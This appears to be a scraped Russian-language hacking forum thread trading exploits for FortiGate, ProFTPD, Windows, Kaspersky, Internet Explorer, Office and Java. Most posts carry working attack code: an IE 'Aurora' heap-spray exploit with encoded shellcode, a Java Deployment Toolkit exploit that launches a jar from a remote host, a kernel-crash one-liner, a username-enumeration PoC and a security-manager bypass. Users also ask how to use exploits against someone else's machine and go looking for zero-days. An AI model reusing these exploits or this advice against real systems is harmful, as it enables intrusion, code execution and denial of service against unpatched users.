Discover vulnerable FortiGate firewalls with the Bishop Fox CVE-2024-21762 vulnerability scanner. Learn more here!
bishopfox.com
**
![www.rapid7.com](/proxy.php?image=https%3A%2F%2Fblog.rapid7.com%2Fcontent%2Fimages%2F2024%2F02%2Fetr- banner-3.jpeg&hash=2d64acf0fb6dd0a6090df1f9d8f97741&return_error=1)
On February 8, 2024 Fortinet disclosed multiple critical vulnerabilities affecting FortiOS, the operating system that runs on Fortigate SSL VPNs. Read more.
www.rapid7.com
реальных атаках ](https://www.securitylab.ru/news/545946.php)
Скорее обновляйтесь, злоумышленники не станут давать вам фору.
![www.securitylab.ru](/proxy.php?image=https%3A%2F%2Fwww.securitylab.ru%2Fimg%2Ffaveicons%2Fandroid- icon-192x192.png&hash=48f4deb014821acfdcffa50cc5f79355&return_error=1) www.securitylab.ru
IR-24-015) ](https://vuldb.com/ru/?id.253258)
Уязвимость была найдена в Fortinet FortiOS до 7.4.2. Она была объявлена как очень критический. Эта уязвимость была названа CVE-2024-21762. Рекомендуется обновить затронутый компонент.
vuldb.com
02/01/2024 вышла новая CVE-2024-21762 под FortiOS 6.0-7.4.2.
Сейчас вовсю эксплуатируется, кажется супер актуально.
Существует 0day (цена по VulDB: 25K-100K$)
Но также существует ресерч BishopFox с чекером
**
FortiGate SSL VPN is vulnerable to CVE-2024-21762 ](https://github.com/BishopFox/cve-2024-21762-check)
Safely detect whether a FortiGate SSL VPN is vulnerable to CVE-2024-21762 - BishopFox/cve-2024-21762-check
github.com
**
Кто-то копает в этом направлении?
здарова всем . у меня вапрос нашол эксплойт для ProFTPD 1.2.10 , объясните пожалуйста кто может . что он делает и что дает на удалённом ftp
Текст эксплоита
/*
Details
Vulnerable Systems:
It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds.
Proof of Concept Code:
LSS has developed simple PoC exploit that is presented here:
// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>
#define PORT 21
#define PROBE 8
main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;
printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");
if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);
connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}
Вообщем просканил сеть XSpider`ом обнаружил одну уязвимость (ms03-043)
хочю узнать как её заюзать как заюзать эксплоит.
Прошу подробную инфу по использования этой уязвимости.
У типа стоит WIN 2000.
Зарание больое спосибо.
Описание
Переполнение буфера обнаружено в Messenger Service в Microsoft Windows. Удаленный атакующий может выполнить произвольный код на уязвимой системе. Проблема связанна с тем, что Messenger Service не проверяет длину сообщения. В результате злонамеренный пользователь может послать сообщение, которое переполнит буфер и выполнит произвольный код на уязвимой системе с привилегиями SYSTEM.
Click to expand...
Решение
Установите обновление:
http://www.microsoft.com/technet/security/...in/MS03-043.asp
СсылкиCVE (CAN-2003-0717) : <http://cve.mitre.org/cgi- bin/cvename.cgi?name=CAN-2003-0717>
Click to expand...
Компания Finjan Software, которая занимается безопасностью программного обеспечения, сообщили, что было найдено 10 уязвимостей в Windows XP Service Pack 2. Из-за них недоброжелатель может обойти многие из степеней защиты, которые обеспечивает Service Pack 2, и получить доступ к удаленному управлению компьютером. Для этого пользователю нужно всего лишь оказаться на специально созданной веб-странице. Представители Finjan Software сообщили, что предоставили Microsoft все технические подробности. До тех пор, пока не будет создан патч, широкому кругу они будут неизвестны.
есть ли сплойты под ось ХР 1 или 2 сп , выложите у кого завалялись если плиз...
Обнаружены дыра в антивире касперского.
Причина бага состоит в том, что антивирус для защиты своего процесса от
уничтожения устанавливает в систему драйвер и перехватывает в ядре системы
функцию ZwOpenProcess, которая используется для доступа к другим процессам,
после чего он запрещает открытие своего процесса с флагом PROCESS_TERMINATE.
Вот прототип этой функции:
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );
Все это конечно хорошо, но программисты "Карла Спермского" были настолько криворуки и тупы, что допустили очень тупой баг, который мог допустить лишь человек совсем незнакомый с системным программированием.
Приблизительно код функции перехватчика ZwOpenProcess антивируса "Карла Спермского" выглядит так:
NTSTATUS NewZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
if (ClientId->UniqueProcess == MyPid) return STATUS_ACCESS_DENIED;
else return RealZwOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
как вы видите в коде проверяется значение поля UniqueProcess структуры CLIENT_ID на которую указывает указатель ClientId. Это есть полная лажа, так как указатель ClientId передается из кода режима пользователя, а код режима ядра пытается выбрать поле структуры не проверяя валидность указателей. Если я передам нулевой указатель, то возникнет ошибка доступа к памяти, а такая ошибка в коде режима ядра приводит к немедленному падению системы.
Эксплоит на этот баг будет выглядеть так:
; AVKS
DoS Exploit
; Coded by Ms-Rem
.386
.model flat, stdcall
include ntdll.inc
includelib ntdll.lib
.code
start:
push 01
push 00
push 00
push 01
call ZwOpenProcess
end start
На Delphi так:
ZwOpenProcess(nil, 0, nil, nil);
На С++ так:
ZwOpenProcess(NULL, (HANDLE)0, NULL, NULL);
При выполнении этого кода система падает с сообщением об ошибке в драйвере klif.sys. Выполнение этого кода не требует никаких привилегий. Как видите, Карл Спермский очень сильно старается помочь хакерам и злодеям . Так что лучше еще раз подумайте, прежде чем решите установить его антивирус.
P.S. Все описанное здесь является вымыслом автора, любые совпадения с реальными антивирусами случайны.
Сплойт берем тут
Эксперты по информационной безопасности обнаружили опасную уязвимость в Real Player и другом ПО от Real Networks.
Уязвимость находится в области обработки файлов формата .wav и .smil. Специально изготовленные файлы этих форматов могут вызвать переполнение буфера и исполнение произвольного кода в системе. «Дыра» имеется в таких программах, как Real Player версий 8 и 10.x, RealOne Player версий 1 и 2, Helix Player 1 и RealPlayer Enterprise 1.x. Уязвимости присвоен рейтинг опасности «высоко критичная». Для решения проблемы пользователи Mac и Windows могут произвести апгрейд своих медиаплееров с помощью Check for Update, а пользователи Linux — загрузить обновление с сайта производителя, сообщил РС Рro.
Тестим новый баг: исполнение кода дырявым ослом
Оставляем отзывы:
http://www.securitylab.ru/51031.html
Недостаточная обработка функции JavaScript "OnKeyDown".
Уязвимы практически все браузеры с включённой поддержкой JavaScript вне
зависимости от используемой операционной системы.
Сразу несколько компаний, специализирующихся на вопросах компьютерной безопасности, сообщили об обнаружении уязвимости во всех распространенных браузерах.
Дыра, о которой идет речь, как отмечает Techweb, теоретически позволяет злоумышленникам получить несанкционированный доступ к конфиденциальным пользовательским данным, например, информации о банковских аккаунтах или паролям. Проблема связана с функцией JavaScript "OnKeyDown" и обеспечивает возможность перехвата строк, введённых пользователем с клавиатуры в форму на веб-странице.
По информации датской компании Secunia брешь присутствует в браузерах Internet Explorer версии 6.х и более ранних модификациях, Firefox версий 1.х, Netscape 8.х и более ранних модификациях, Mozilla версий до 1.7.х и пакете SeaMonkey 1.х и ниже. Ситуация ухудшается ещё и тем, что проблема не зависит от используемой на компьютере операционной системы - нападение может быть осуществлено на машины, работающие под управлением Windows, Linux и Mac OS X.
Патча для дыры в настоящее время не существует. Впрочем, нужно отметить, что организовать атаку на компьютер через данную брешь можно только при условии выполнения определённых действий потенциальной жертвой. Поэтому компания Secunia охарактеризовала брешь малоопасной. С примером программного кода, позволяющего задействовать уязвимость, можно ознакомиться на [этой](http://lists.grok.org.uk/pipermail/full- disclosure/2006-June/046610.html) странице.
Источник: compulenta.ru
Интересуют статьи связанные с эксплоитингом в Win32, хотелось бы увидеть наглядные примеры написания эксплойта под win... буду рад любым ссылкам, статьям...
хочу въехать в элементарные вещи, допустим есть бага в active-x компоненте
Code:Copy to clipboard
<script>
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.loadXML("<dummy></dummy>");
var txt = xmlDoc.createTextNode("huh");
var out = txt.substringData(1,0x7fffffff);
</script>
тут методу substringData() передается число 7FFFFFFFh после чего происходит переполнение, хочу научится ставить на борт shellcode под WIN. Сабж...
перенесите в раздел "Уязвимости и эксплойты"
Повреждение памяти в Microsoft Office
Описание: Повреждение памяти при разборе файлов XLS/XLW
пример/эксплоит:
Code:Copy to clipboard
# Full archive at http://www.milw0rm.com/sploits/excel_03262006.rar
Topic : Microsoft Office 2002 - Excel/Powerpoint/Word.. 10.0.2614.0 => 11.0.5612.0
Date : 02/12/2006
Author : posidron <posidron@tripbit.net>
Table of Contens
================
- Some Excel Information
- The XLS File Format and Observation
- The XLW File Format and Observation
- Powerpoint and Word Dump Additions
- Conclusion
- References
Some Excel Information
======================
- Microsoft Excel uses the BIFF (Binary Interchange File Format)
- in Excel 8.0 (Excel 97), BIFF8 was introduced
- in Excel 10.0 (Excel XP), BIFF8X was introduced
- Excel 97 and Excel 2000 can read BIFF8X, except new features added with Excel XP.
Since BIFF5, all data is saved in OLE2 Storage Format/Structured Storage, which
can contain streams and storages.
A BIFF record is builded as follows:
Offset Size Contents
0 2 Identifier }
2 2 Size of the following data (sz) } Record header
4 sz Data
The XLS File Format
===================
If we open an Excel .xls workbook document with a hexeditor, we can see the
below block of records, which exists multiple times within an Excel document.
(Offsets are hexadecimal)
orig.xls
--------
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
00001200 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ..............
00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò
00001220 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0...
00001230 B0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 °...........@...
00001240 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 ....H.......`...
If we change the second line from
00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò
to
00001210 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 ............à..ò
we get an 'Access Violation' in OLE32.DLL after opening the dcument in Excel.
(ole32.dll)
774D66B6 8B73 0C MOV ESI,DWORD PTR DS:[EBX+C]
774D66B9 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
774D66BC 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C]
774D66BF 03F0 ADD ESI,EAX
774D66C1 8BC1 MOV EAX,ECX
774D66C3 C1E9 02 SHR ECX,2
774D66C6 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <==
ECX=00000369 (decimal 873.)
DS:[ESI]=[001B24F4]=00000000
ES:[EDI]=[00924000]=???
ESP ==> 0013786C 00923AE0
EBP-8 00137870 00923AE4
EBP-4 00137874 00923ADC
EBP ==> 00137878 /001378AC
EBP+4 0013787C |30C12D83 RETURN to mso.30C12D83
EBP+8 00137880 |001B32A8
EBP+C 00137884 |00923DC0
EBP+10 00137888 |00000FE4
EAX 00000FE4
ECX 00000369
EDX 00150608
EBX 001AE948
ESP 0013786C
EBP 00137878
ESI 001B24F4
EDI 00924000
EIP 774D66C6 OLE32.774D66C6
We found this block of records two times in an empty Excel document. I haven't
found an exact explanation about these records. It could be, that the record
FFFE defines the sheet range. More in the OpenOffice reference link on site 100.
The XLW File Format
===================
If we open an Excel .xlw Workbook document with a hexeditor, we can see the
below sequence of records, which exists multiple times within an Excel document.
(Offsets are hexadecimal)
orig.xlw
--------
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000110 38 00 04 00 01 00 10 00 3D 00 0A 00 68 01 87 00 8.......=...h...
00000120 8C 28 8D 18 04 00 3E 02 0A 00 B6 00 00 00 00 00 .(...>...¶.....
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 ................
00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................
00000150 00 64 00 0F 00 02 00 01 00 11 00 02 00 00 00 10 .d..............
If we change the third and fourth line from
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 ................
00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................
to
00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 FF ................
00000140 FF FF FF 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................
we got an 'Access Violation' in excel.exe after opening the ducument in Excel.
Examine dump at offset: 00000110+8
WINDOW1 | 04 Bytes | 3D 00 0A 00
WINDOW1 | 10 Bytes | 68 01 87 00 8C 28 8D 18 04 00
WINDOW1 | 04 Bytes | 3E 02 0A 00
WINDOW2 | 10 Bytes | B6 00 00 00 00 00 00 00 00 00
SELECTION | 04 Bytes | 1D 00 0F 00
SELECTION | 15 Bytes | 03 00 00 00 00 00 00 01 00 00 00 00 00 00 00
About the SELECTION record (00 1D):
Offset Size Contents
0 1 Pane identifier
1 2 Index to row of the active cell
3 2 Index to column of the active cell
5 2 Index into the following cell range list
to the entry that contains the active cell
7 variable Cell range address list containing all selected
cell ranges. Column indexes are always 8-bit values.
This record contains the addresses of all selected cell ranges and the
position of the active cell for a pane in current sheet. It is part of
the "Sheet View Settings Block". There is one SELECTION record for each
pane in the sheet.
excel.exe
---------
30028546 C2 0800 RETN 8
30028549 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
3002854D 8B15 484E7D30 MOV EDX,DWORD PTR DS:[307D4E48]
30028553 56 PUSH ESI
30028554 57 PUSH EDI
30028555 66:8B40 06 MOV AX,WORD PTR DS:[EAX+6] <==
30028559 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10]
3002855D 25 FF0F0000 AND EAX,0FFF
30028562 8D0C40 LEA ECX,DWORD PTR DS:[EAX+EAX*2]
30028565 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]
30028568 8D34C8 LEA ESI,DWORD PTR DS:[EAX+ECX*8]
3002856B B9 05000000 MOV ECX,5
30028570 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
30028572 5F POP EDI
30028573 5E POP ESI
30028574 C2 0800 RETN 8
DS:[01642A72]=???
AX=2A6C
EAX 01642A6C
ECX 00000015
EDX 015C15DC
EBX 00000001
ESP 00136964
EBP 00136B00
ESI 00007979
EDI 00000000
EIP 30028555 EXCEL.30028555
ESP ==> 00136964 00000000
ESP+4 00136968 00007979
ESP+8 0013696C 30027795 RETURN to EXCEL.30027795 from EXCEL.30028549
ESP+C 00136970 01642A6C
ESP+10 00136974 001369A4
ESP+14 00136978 00000001
ESP+18 0013697C 00000000
ESP+1C 00136980 00000000
ESP+20 00136984 77D1BC7D USER32.GetWindow
ESP+24 00136988 00AB0208
ESP+28 0013698C 00000000
ESP+2C 00136990 7FFDF000
ESP+30 00136994 00000058
ESP+34 00136998 00000053
ESP+38 0013699C 0000059B
ESP+3C 001369A0 00000023
ESP+40 001369A4 001369CC
ESP+44 001369A8 77D4F160 RETURN to USER32.77D4F160 from USER32.77D318A2
ESP+48 001369AC 00040000
ESP+4C 001369B0 00000000
ESP+50 001369B4 77EF7AB2 RETURN to GDI32.77EF7AB2
In the SELECTION record, it's regardless which offset address we overwrite
to produce an exception. If we play with the values/offsets in the SELECTION
record, we get many different results.
Another example:
SELECTION | 04 Bytes | 1D 00 0F 00
SELECTION | 15 Bytes | 03 00 00 00 00 00 00 FF FF FF FF FF FF 00 00
(mso.dll)
30B1BCEA 66:8955 00 MOV WORD PTR SS:[EBP],DX
30B1BCEE 66:8975 02 MOV WORD PTR SS:[EBP+2],SI
30B1BCF2 66:892F MOV WORD PTR DS:[EDI],BP
30B1BCF5 66:897428 FE MOV WORD PTR DS:[EAX+EBP-2],SI <==
30B1BCFA 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18]
30B1BCFE 5B POP EBX
EAX 00006F24
ECX 00006000
EDX 00000DDC
EBX 000007ED
ESP 0013FCF4
EBP 015C0DE0
ESI 00006F24
EDI 015C0000
EIP 30B1BCF5 mso.30B1BCF5
SI=6F24
DS:[015C7D02]=???
ESP ==> 0013FCF4 00000000
ESP+4 0013FCF8 00000000
ESP+8 0013FCFC 30B1BBB0 mso.__MsoPvFree@8
For the completeness Powerpoint and Word which have the same structure as in
the .xls file format.
Microsoft Word
--------------
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ..............
00002410 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò
00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0...
to
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ..............
00002410 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 ............à..ò
00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0...
Results in an 'Access Violation'.
AppName: winword.exe AppVer: 10.0.2627.0 ModName: mso.dll
ModVer: 10.0.2625.0 Offset: 0001b411
Microsoft Powerpoint
--------------------
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ..............
00001A10 00 00 00 00 00 00 00 00 01 00 00 00 02 D5 CD D5 .............ÕÍÕ
00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 ........+,ù®0...
to
00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ..............
00001A10 00 00 00 00 00 00 00 00 FF FF FF FF 02 D5 CD D5 .............ÕÍÕ
00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 ........+,ù®0...
Results in an 'Access Violation'.
AppName: powerpnt.exe AppVer: 10.0.2623.0 ModName: mso.dll
ModVer: 10.0.2625.0 Offset: 0011300d
References
----------
Excel File Format Structure (http://sc.openoffice.org/excelfileformat.pdf)
# milw0rm.com [2006-03-27]
запускаю для отладки парочку вирт машин, хотелось бы узнать кто, какие конфигурации их посоветует, планирую юзать 6ть машин хоум/про с СП от 1го до 3го. Кто что еще использует и как? буду рад услышать
Интересуют примеры что он из себя представляет, как работает. можно нессколько версий. пробовал декомпильнуть пару свф файлов, декомпилеры просто в аут вылетают и всё.
это не совсем связка но есть много полезного.
тут ее не видел.
enjoy. :crazy:
/ ms10-002 / CVE-2010-0249 / "Aurora" exploit /
moded by: ExmaGroup.
worked on: MSIE 6-7 , OS: XP,Vista, (seven?)
насколько я знаю, у всех что были выложены в паблик,шеллкод работал только на
ИЕ6 ХП.
Spoiler: 50
данный же вариант работает на МСИЕ 6-7(8 не работает,деп), ХП,Виста (может
севен,не знаем специфику его...)
проверен был на:
шеллкод = запуск калька.
Code:Copy to clipboard
<html>
<head>
<script>
var sss = new Array();
for (i = 0; i < 200; i ++ ){
sss[i] = document.createElement("COMMENT");
sss[i].data = "ilf";
};
var varNul = null;
var x1 = new Array();
function EvilFunc() {
var sc = unescape( "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");
var Scrap = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
do { Scrap += Scrap; } while( Scrap.length < 0xf0000 );
for(i = 0; i < 620; i++) x1[i] = Scrap + sc;
}
function VulnFunc(evt){
EvilFunc();
varNul = document.createEventObject(evt);
document.getElementById("spl").innerHTML = "";
window.setInterval(ev2, 50);
}
function ev2(){
p = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
for (i = 0; i < sss.length; i ++ ){
sss[i].data = p;
}
var t = varNul.srcElement;
}
</script>
</head>
<body>
<span id="spl"><img src="aurora.gif" onload="VulnFunc(event)"></span></body></html>
</body>
</html>
интересно ваше мнение,тесты,наработки)
наткнулся в инете на описание одной програмки для создания PDF файлов с внедренным exe, GenMDB.exe (made in china). Она правда, уже 2х летней давности, но все же интересно..
Описание на
f-secure.com и некоторые детали
pdf.
Может у кого-нибудь есть эта прога? Искал везде, но нигде не нашел.
Code:Copy to clipboard
<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}
// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1
// o.installJRE("1.4.2_18");
</script>
</body>
</html>
протестировать себя на уязвимость можно здесь:
http://lock.cmpxchg8b.com/bb5eafbc6c6e67e1...2/testcase.html
запуск калькулятора
уязвимость позволяет запускать cmd, возможно исполнять скачку и запуск файла через яву, что не пробовал т.к. уязвимость не работает через хттп.
работает через расшаренные ресурсы
\\IP\evil
либо локально
d:\calc.jar
удаленно,как в примере, у меня запустить не удалось, либо руки кривые, либо
всё же ограничения есть на запуск с хттп.
что скорей всего второе)
по сути работать должно на
browser: <=ie8, FF,Opera
OS: <=7
ЗЫ: забыл, сорс calc.jar
Code:Copy to clipboard
public class Main
{
public Main()
{
}
public static void main(String args[])
throws Exception
{
Runtime.getRuntime().exec("cmd.exe /c calc.exe");
}
}
Привет, у кого есть опыт в разаботке эксплоитов под IE6,7 жду в 5.0seven5.01
В архиве идет файл: ManTech Employee Satisfaction Survey.pdf но это не сплойт, кто знает где достать этот файл?
ссылка на тему:
[http://contagiodump.blogspot.com/2011/12/a...-2011-2462.html](http://contagiodump.blogspot.com/2011/12/adobe-
zero-day-cve-2011-2462.html)
не тестировал, возможно использовать для побега из виртуалки
[http://blog.piotrbania.com/2012/07/old-vmw...st- exploit.html](http://blog.piotrbania.com/2012/07/old-vmware-cloudburst- exploit.html)
It has been quite a while since my last post here and unfortunately it does not seem that this issue will be fixed in time. So for all of my readers it would be safer to assume this blog is pretty much dead. I believe we all have more important things to do and unfortunately security gets boring.
Anyway I have decided to clean up my drawer today and due to that fact I'm releasing old vmware cloudburst exploit (from 2009). The vulnerability is already patched for a long time so keep this in mind. I also believe that source is commented enough to be self-explanatory, secondly few academics requested (politely asked) for this thing for "research purposes" somewhere in the past and I have sent them the files, they had almost no problems with using it so neither should you.
Click to expand...
Обсуждение видеоhttp://xss.is/?act=video#video160[
Автор: zack thiltz
Дата добавления: 09.11.2006 01:17
Выполнение произвольного кода в Microsoft Windows при обработке WMF файлов.
[url=http://xss.is/video/153.jpg]Скриншот](http://xss.is/?act=video#video160)
[a style='color:#309030 !important' href='http://dllfiles.org/video/153.rar' target='_blank']Скачать | Download[/url] (1.03 Mb)
Неспешно, педики из group-ib, обитая где-то на закрытых бордах, нашли тему о
продаже одея для пдф, и сразу же решили себя пропиарить:
[http://www.group-ib.com/index.php/7-novost...d-in-
adobe-x%22](http://www.group-ib.com/index.php/7-novosti/672-group-ib-us-zero-
day-vulnerability-found-in-adobe-x%22)
Видео работы, которое они выклянчили у панча (у него ли?)
http://www.youtube.com/watch?v=uGF8VDBkK0M&feature=youtu.be
Что видно на видео:
А теперь что я думаю...
Ребят.
Тут многие из вас потрошили спецификации пдф.
Кому-то из вас наверняка попадались упоминания запуска пользовательского js
при выгрузке документов.
Так же, давайте перетрем все-все случаи, когда акробат дампит подгружаемые
ресурсы на диск, с задаваемым именем (например, при распаковке xdp,
включенного в себя).
Возможно, есть смысл перенести тему в закрытый раздел.
п.с. жаба моя мертва пока что.
Надо упомянуть, что это мой первый опыт с Java и в частности с экспами такого типа. Если есть какие неточности или ошибки в описании - пожалуйста указывайте. Я понимаю, что разбор этой уязвимости уже был в англоязычном интернете, но мне захотелось покопать его самостоятельно, тем более это принесло много полезностей мне в плане образования =) Enjoy! Надеюсь кому- нибудь будет полезно.
В Java существует свой механизм защиты, который построен на понятии security/protection domain. Каждый домен включает в себя набор классов, экземплярам которых выданы одинаковые права (permissions). Для целей данной заметки достаточно выделить два домена - trusted и untrusted. К первому относится все системные классы (rt.jar) и подписанные апплеты, им разрешены все действия в системе. Ко второй категории относятся не подписанные апплеты и они сильно ограничены в правах (например им запрещено манипулировать с файлами и т.д.). При обращении к некоторому системному ресурсу происходит запрос к менеджеру безопасности (набор методов java.lang.SecurityManager.checkXXX), который проверяет есть у текущего потока права для доступа к ресурсу. Права определяются совокупностью прав кода, который присутствует в call stack, причем берется наименьший совокупный набор прав. Таким образом, чтобы доступ к ресурсу был выдан, необходимо чтобы весь код в call stack обладал необходимыми правами. Есть одно исключение из этого правила - priveledged блоки. Если некоторый код исполняется в контексте priveledged блока, то его права определяются правами вызвавшего метод doPriveledged кода.
Есть также возможность отключить менеджер безопасности, чтобы любые проверки прав были успешными, но этот код естественно должен исполнятся в контексте trusted домена. Но задача упрощается тем, что его также можно исполнить в контексте привилегированного блока - что сводит задачу к вопросу - как сделать только код вызывающий doPriveledged метод trusted, а не весь call stack.
Код, отключающий менеджер безопасности:
Code:Copy to clipboard
import java.security.*;
public class SecurityDisabler implements PrivilegedExceptionAction
{
public SecurityDisabler()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
e.printStackTrace();
}
}
public Object run() throws Exception
{
System.setSecurityManager(null);
return null;
}
}
В силу разных причин (пример - развитие разных динамических языков, основанных на jvm и перенос старых на неё) в 2007-2008 шла разработка функционала для динамического определения call site для вызовов методов (InvokeDynamic), эти разработки вошли в jvm. Частью решения был также класс sun.invoke.anon.AnonymousClassLoader, который позволяет подгружать класс из байтового массива и патчить байткод налету. Он не входит в иеархию классов ClassLoader (которые подгружают классы из .class при первом обащении) и работает по своим уникальным правилам (до java 7 update 7 включительно). В частности, класс загруженный через него, получает security domain объекта, который запросил загрузку (при вызове конструктора по умолчанию):
Code:Copy to clipboard
public AnonymousClassLoader()
{
this.hostClass = checkHostClass(null);
}
